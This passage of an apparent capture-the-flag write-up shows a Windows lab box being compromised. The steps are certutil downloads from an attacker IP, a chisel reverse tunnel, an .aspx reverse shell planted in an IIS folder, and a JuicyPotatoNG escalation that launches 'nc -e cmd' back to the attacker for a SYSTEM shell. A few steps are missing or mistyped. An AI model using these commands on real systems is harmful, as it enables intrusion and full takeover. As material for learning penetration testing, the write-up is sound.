C:\Users\C.Bum\Downloads>certutil.exe -urlcache -f http://10.10.16.17/chisel.exe chisel.exe
certutil.exe -urlcache -f http://10.10.16.17/chisel.exe chisel.exe
**** Online ****
CertUtil: -URLCache command completed successfully.

C:\Users\C.Bum\Downloads>chisel.exe client 10.10.16.17:11111 R:8000:0.0.0.0:8000
chisel.exe client 10.10.16.17:11111 R:8000:0.0.0.0:8000
2023/05/09 16:36:37 client: Connecting to ws://10.10.16.17:11111
2023/05/09 16:36:38 client: Connected (Latency 47.9852ms)
```

This will connect the `chisel` server on our `Kali` machine and it'll allow us to browse port 8000 on our localhost. Now, any traffic we send to localhost:8000 will be redirected towards port 8000 on the victim machine.

Getting Shell as *defaultapppool*

When we browse `http://127.0.0.1:8000` on our browser, we see another flight ticket service with no functions again. There's `contact.html` but it also doesn't work. But since we already knew the directory (`C:\inetpub\development`), we could write a reverse shell inside that directory and access it via our browser.

```

C:\Windows\system32>cd C:\inetpub\development
cd C:\inetpub\development

C:\inetpub\development>echo test > test
echo test > test

C:\inetpub\development>dir
dir
Volume in drive C has no label.
Volume Serial Number is 1DF4-493D

Directory of C:\inetpub\development

05/09/2023  05:36 PM    <DIR>          .
05/09/2023  05:36 PM    <DIR>          ..
04/16/2018  02:23 PM             9,371 contact.html
05/09/2023  05:32 PM    <DIR>          css
05/09/2023  05:32 PM    <DIR>          fonts
05/09/2023  05:32 PM    <DIR>          img
04/16/2018  02:23 PM            45,949 index.html
05/09/2023  05:32 PM    <DIR>          js
05/09/2023  05:36 PM              7 test
               3 File(s)            55,327 bytes
               6 Dir(s)  5,018,550,272 bytes free

C:\inetpub\development>more test
more test
test

C:\inetpub\development>whoami
whoami
flight\c.bum

```

It looks like we have writable for the `development` directory as *C.Bum*. We can also check the permissions using `icacls` or `accesschk.exe`.

```
icacls C:\inetpub\development
```

```

C:\inetpub\development>icacls C:\inetpub\development
icacls C:\inetpub\development
C:\inetpub\development flight\C.Bum:(OI)(CI)(W)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(OI)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)

```

(W) after `flight\C.Bum` means that we have writable access as *C.Bum* for this directory.

For `accesschk.exe`, we can download it from [Sysinternals](https://www.sysinternals.com/Default.aspx)

```
accesschk.exe /accepteula -uvwqd C:\inetpub\development
```

```
C:\Users\C.Bum\Downloads>accesschk.exe /accepteula -uvwqd C:\inetpub\development
accesschk.exe /accepteula -uvwqd C:\inetpub\development

Accesschk v6.15 - Reports effective permissions for securable objects
Copyright (C) 2006-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

C:\inetpub\development
Medium Mandatory Level (Default) [No-Write-Up]
RW flight\C.Bum
    FILE_ADD_FILE
    FILE_ADD_SUBDIRECTORY
    FILE_LIST_DIRECTORY
    FILE_READ_ATTRIBUTES
    FILE_READ_EA
    FILE_TRAVERSE
    FILE_WRITE_ATTRIBUTES
    FILE_WRITE_EA
    SYNCHRONIZE
    READ_CONTROL
RW NT SERVICE\TrustedInstaller
    FILE_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
    FILE_ALL_ACCESS
RW BUILTIN\Administrators
    FILE_ALL_ACCESS
```

Now we know for sure that we have writeable access, we'll download a reverse shell from `Kali` machine to the windows. Since the web application is running **IIS**, we should use an `.aspx` file. We'll download one from [here](#).

```
protected void Page_Load(object sender, EventArgs e)
{
    String host = "10.10.16.17"; //CHANGE THIS
    int port = 443; //CHANGE THIS

    CallbackShell(host, port);
}
```

We'll edit our IP address and port number and download the file to the victim machine. When we try to browse `shell.aspx` through tunnelled web application, we'll get a reverse shell as `iis apppool/defaultappool`

wget

<https://github.com/antonioCoco/JuicyPotatoNG/releases/download/v1.1/JuicyPotatoNG.zip>

2. Unzip the file and host it with `python` -

```
unzip JuicyPotatoNG.zip
python3 -m http.server 80
```

3. Download **both** `JuicyPotatoNG.exe` and `nc.exe` to Windows machine -

```
certutil.exe -urlcache -f http://10.10.16.17/JuicyPotatoNG.exe
JuicyPotatoNG.exe
certutil.exe -urlcache -f http://10.10.16.17/nc.exe nc.exe
```

4. Run `JuicyPotatoNG.exe` -

```
JuicyPotatoNG.exe -t * -p "C:\users\public\nc.exe" -a "10.10.16.17 53 -e cmd"
```

```
C:\Users\Public>certutil.exe -urlcache -f http://10.10.16.17/JuicyPotatoNG.exe JuicyPotatoNG.exe
certutil.exe -urlcache -f http://10.10.16.17/JuicyPotatoNG.exe JuicyPotatoNG.exe
**** Online ****
CertUtil: -URLCache command completed successfully.

C:\Users\Public>certutil.exe -urlcache -f http://10.10.16.17/nc.exe nc.exe
certutil.exe -urlcache -f http://10.10.16.17/nc.exe nc.exe
**** Online ****
CertUtil: -URLCache command completed successfully.

C:\Users\Public>JuicyPotatoNG.exe -t * -p "C:\users\public\nc.exe" -a "10.10.16.17 53 -e cmd"
JuicyPotatoNG.exe -t * -p "C:\users\public\nc.exe" -a "10.10.16.17 53 -e cmd"

(kali@kali)-[~]
└─$ flwrwrap -cAr nc -lnvp 53
listening on [any] 53 ...
connect to [10.10.16.17] from (UNKNOWN) [10.10.11.187] 50174
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\>whoami
whoami
nt authority\system

C:\>dir C:\Users\Administrator\Desktop
dir C:\Users\Administrator\Desktop
Volume in drive C has no label.
Volume Serial Number is 1DF4-493D

Directory of C:\Users\Administrator\Desktop

09/22/2022 01:48 PM <DIR> .
09/22/2022 01:48 PM <DIR> ..
05/10/2023 05:22 AM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 5,124,841,472 bytes free

c:\>
```

We'll get a shell as *NT AUTHORITY\SYSTEM*. `root.txt` can be found in

`C:\Users\Administrator\Desktop`